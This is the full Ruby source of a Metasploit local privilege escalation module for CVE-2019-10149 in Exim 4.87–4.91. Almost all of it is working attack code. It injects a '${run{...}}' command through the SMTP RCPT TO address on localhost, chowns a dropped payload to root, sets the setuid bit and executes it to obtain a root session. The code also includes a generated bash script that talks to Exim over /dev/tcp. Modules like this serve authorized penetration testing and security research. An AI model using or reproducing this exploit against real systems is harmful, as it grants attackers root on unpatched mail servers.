Share
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'expect'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation',  
'Description' => %q{  
This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).  
Improper validation of recipient address in deliver_message()  
function in /src/deliver.c may lead to command execution with root privileges  
(CVE-2019-10149).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Qualys', # Discovery and PoC (@qualys)  
'Dennis Herrmann', # Working exploit (@dhn)  
'Marco Ivaldi', # Working exploit (@0xdea)  
'Guillaume André' # Metasploit module (@yaumn_)  
],  
'DisclosureDate' => '2019-06-05',  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' =>  
[  
[  
'Exim 4.87 - 4.91',  
lower_version: Gem::Version.new('4.87'),  
upper_version: Gem::Version.new('4.91')  
]  
],  
'DefaultOptions' =>  
{  
'PrependSetgid' => true,  
'PrependSetuid' => true  
},  
'References' =>  
[  
[ 'CVE', '2019-10149' ],  
[ 'EDB', '46996' ],  
[ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]  
]  
))  
  
register_options(  
[  
OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])  
])  
  
register_advanced_options(  
[  
OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]),  
OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
])  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def encode_command(cmd)  
'\x' + cmd.unpack('H2' * cmd.length).join('\x')  
end  
  
def open_tcp_connection  
socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)  
params = Rex::Socket::Parameters.new({  
'PeerHost' => '127.0.0.1',  
'PeerPort' => datastore['EXIMPORT']  
})  
begin  
socket = socket_subsystem.create_tcp_client_channel(params)  
rescue => e  
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\  
"are you sure exim is listening on this port? (see EXIMPORT)")  
raise e  
end  
return socket_subsystem, socket  
end  
  
def inject_payload(payload)  
if session.type == 'meterpreter'  
socket_subsystem, socket = open_tcp_connection  
  
tcp_conversation = {  
nil => /220/,  
'helo localhost' => /250/,  
"MAIL FROM:<>" => /250/,  
"RCPT TO:<${run{#{payload}}}@localhost>" => /250/,  
'DATA' => /354/,  
'Received:' => nil,  
'.' => /250/  
}  
  
begin  
tcp_conversation.each do |line, pattern|  
Timeout.timeout(datastore['SendExpectTimeout']) do  
if line  
if line == 'Received:'  
for i in (1..31)  
socket.puts("#{line} #{i}\n")  
end  
else  
socket.puts("#{line}\n")  
end  
end  
if pattern  
socket.expect(pattern)  
end  
end  
end  
rescue Rex::ConnectionError => e  
fail_with(Failure::Unreachable, e.message)  
rescue Timeout::Error  
fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')  
ensure  
socket.puts("QUIT\n")  
socket.close  
socket_subsystem.shutdown  
end  
else  
unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\  
"&& echo true").chomp.to_s == 'true'  
fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")  
end  
  
bash_script = %|  
#!/bin/bash  
  
exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}  
read -u 3 && echo $REPLY  
echo "helo localhost" >&3  
read -u 3 && echo $REPLY  
echo "mail from:<>" >&3  
read -u 3 && echo $REPLY  
echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3  
read -u 3 && echo $REPLY  
echo "data" >&3  
read -u 3 && echo $REPLY  
for i in $(seq 1 30); do  
echo 'Received: $i' >&3  
done  
echo "." >&3  
read -u 3 && echo $REPLY  
echo "quit" >&3  
read -u 3 && echo $REPLY  
|  
  
@bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))  
write_file(@bash_script_path, bash_script)  
register_file_for_cleanup(@bash_script_path)  
chmod(@bash_script_path)  
cmd_exec("/bin/bash -c \"#{@bash_script_path}\"")  
end  
  
print_status('Payload sent, wait a few seconds...')  
Rex.sleep(5)  
end  
  
def check_for_bash  
unless command_exists?('/bin/bash')  
fail_with(Failure::NotFound, 'bash not found')  
end  
end  
  
def on_new_session(session)  
super  
  
if session.type == 'meterpreter'  
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')  
session.fs.file.rm(@payload_path)  
else  
session.shell_command_token("rm -f #{@payload_path}")  
end  
end  
  
def check  
if session.type == 'meterpreter'  
begin  
socket_subsystem, socket = open_tcp_connection  
rescue  
return CheckCode::Safe  
end  
res = socket.gets  
socket.close  
socket_subsystem.shutdown  
else  
check_for_bash  
res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\  
"(read -u 3 && echo $REPLY) || echo false'")  
if res == 'false'  
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\  
"are you sure exim is listening on this port? (see EXIMPORT)")  
return CheckCode::Safe  
end  
end  
  
if res =~ /Exim ([0-9\.]+)/i  
version = Gem::Version.new($1)  
vprint_status("Found exim version: #{version}")  
if version >= target[:lower_version] && version <= target[:upper_version]  
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
end  
  
CheckCode::Unknown  
end  
  
def exploit  
if is_root?  
unless datastore['ForceExploit']  
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')  
end  
end  
  
unless writable?(base_dir)  
fail_with(Failure::BadConfig, "#{base_dir} is not writable")  
end  
  
if nosuid?(base_dir)  
fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")  
end  
  
unless datastore['PrependSetuid'] && datastore['PrependSetgid']  
fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \  
'to get root privileges.')  
end  
  
if session.type == 'shell'  
check_for_bash  
end  
  
@payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))  
write_file(@payload_path, payload.encoded_exe)  
register_file_for_cleanup(@payload_path)  
inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\  
"chmod 4755 #{@payload_path}'"))  
  
unless setuid?(@payload_path)  
fail_with(Failure::Unknown, "Couldn't escalate privileges")  
end  
  
cmd_exec("#{@payload_path} & echo ")  
end  
end